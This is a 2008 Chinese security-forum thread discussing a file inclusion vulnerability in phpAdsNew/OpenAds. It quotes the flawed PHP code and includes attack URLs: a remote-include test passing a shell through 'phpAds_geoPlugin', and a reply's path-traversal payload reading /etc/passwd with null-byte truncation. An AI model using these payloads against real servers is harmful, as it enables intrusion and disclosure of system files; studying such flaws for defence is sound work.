标题:
[讨论]php远程包含问题!~
[打印本页]
作者:
2000gaobo
时间:
2008-7-20 18:04
标题:
[讨论]php远程包含问题!~
[讨论]php远程包含问题!~
议题作者:寂寞hacker
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
)'
影响版本:
phpAdsNew phpAdsNew 2.0.8 -pr1
phpAdsNew phpAdsNew 2.0.8
phpAdsNew phpAdsNew 2.0.7 rc1
phpAdsNew phpAdsNew 2.0.7
phpAdsNew phpAdsNew 2.0.6
phpAdsNew phpAdsNew 2.0.5
phpAdsNew phpAdsNew 2.0.4 -pr2
phpAdsNew phpAdsNew 2.0.4 -pr1
phpAdsNew phpAdsNew 2.0 beta 6
phpAdsNew phpAdsNew 2.0 beta 5
phpAdsNew phpAdsNew 2.0.9-pr1
phpAdsNew phpAdsNew 2 dev 30092001
phpAdsNew phpAdsNew 2 dev 09102001
Openads Openads 2.0.11
Openads Openads 2.0.10
详细说明:
OpenAds是一款基于PHP的WEB应用程序。
OpenAds不正确过滤用户提交的URI输入,远程攻击者可以利用漏洞以WEB权限执行任意命令。
问题是脚本'Lib-RemoteHost.INC.PHP'对用户提交的'phpAds_geoPlugin'参数缺少过滤,指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意命令。
参考:
漏洞提供者
Ma$tEr-0F-De$a$t0r
解决方案:
目前没有解决方案提供:
http://www.openads.org/
测试方法:
[警 告]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
http://www.example.com/libraries ... pAds_geoPlugin=EviL
ShEll
以上为漏洞简介,有问题的代码如下:
function phpAds_geoLookup()
{
global $phpAds_config, $phpAds_geoPluginID;
if (!$phpAds_config['geotracking_type'])
return;
// Load plugin
$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
if (@file_exists($phpAds_geoPlugin))
{
include_once ($phpAds_geoPlugin);
if (isset($_COOKIE['phpAds_geoInfo']))
{
// Use cookie if available
$geoinfo = explode('|', $_COOKIE['phpAds_geoInfo']);
if (count($geoinfo) == 13)
{
$geoinfo = array(
'country' => $geoinfo[0] != '' ? $geoinfo[0] : false,
'continent' => $geoinfo[1] != '' ? $geoinfo[1] : false,
'region' => $geoinfo[2] != '' ? $geoinfo[2] : false,
'fips_code' => $geoinfo[3] != '' ? $geoinfo[3] : false,
'city' => $geoinfo[4] != '' ? $geoinfo[4] : false,
'postal_code' => $geoinfo[5] != '' ? $geoinfo[5] : false,
'latitude' => $geoinfo[6] != '' ? $geoinfo[6] : false,
'longitude' => $geoinfo[7] != '' ? $geoinfo[7] : false,
'dma_code' => $geoinfo[8] != '' ? $geoinfo[8] : false,
'area_code' => $geoinfo[9] != '' ? $geoinfo[9] : false,
'org_isp' => $geoinfo[10] != '' ? $geoinfo[10] : false,
'netspeed' => $geoinfo[11] != '' ? $geoinfo[11] : false,
'fingerprint' => $geoinfo[12] != '' ? $geoinfo[12] : false
);
// Check cookie validity
$fingerprint = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getFingerprint');
if ($geoinfo['fingerprint'] == $fingerprint)
return $geoinfo;
}
}
// No cookie or invalid cookie
$geoinfo = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getGeo',
$_SERVER['REMOTE_ADDR'],
$phpAds_config['geotracking_location']
);
// Add fingerprint
$geoinfo['fingerprint'] = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getFingerprint');
return $geoinfo;
}
return false;
}
关键是这句
$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
if (@file_exists($phpAds_geoPlugin))
{
include_once ($phpAds_geoPlugin);
phpAds_geoPlugin参数没有过滤好,可是提交
libraries/lib-remotehost.inc.php?phpAds_geoPlugin=http://www.baidu.com/1.txt
却显示空白页面,小弟PHP不会,麻烦哪位大大看看!Thank!成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。
帖子428 精华
12
积分4620 阅读权限100 性别男 来自云南 在线时间172 小时 注册时间2006-2-7 最后登录2008-7-16
查看个人网站
查看详细资料
引用
报告
回复
TOP
您知道您年薪应是多少?
寂寞宝贝
荣誉会员
作者:
hua668
时间:
2008-7-20 18:04
郁闷中。。。。。。。。。。哪位大虾指教下。难道都泡妞去鸟?成功的男人白天瞎JB忙,晚上JB瞎忙;失败的男人白天没啥鸟事,晚上鸟没啥事。
帖子428 精华
12
积分4620 阅读权限100 性别男 来自云南 在线时间172 小时 注册时间2006-2-7 最后登录2008-7-16
查看个人网站
查看详细资料
引用
报告
回复
TOP
软件项目外包
ring04h
团队执行官
作者:
wy4302
时间:
2008-7-20 18:04
$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
//变量 $phpAds_geoPlugin 初始化.
if (@file_exists($phpAds_geoPlugin)) //判断包含文件是否存在.
{
include_once ($phpAds_geoPlugin); // 如果为真,包含之。
这个属于本地包含! 利用几率很小。(PHP < 4.2.3 可以用 %00 来截断后面的 inc.php)
因为$phpAds_config['geotracking_type'] 有声明。
利用方式为:
http://www.example.com/libraries ... c.php?phpAds_config
['geotracking_type']=/../../../../../etc/passwd%00
帖子3923 精华
128
积分209640 阅读权限200 性别男 在线时间1095 小时 注册时间2007-10-23 最后登录2008-7-18
查看详细资料
引用
报告
回复
TOP
爱要怎么说出口
落叶纷飞
荣誉会员
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2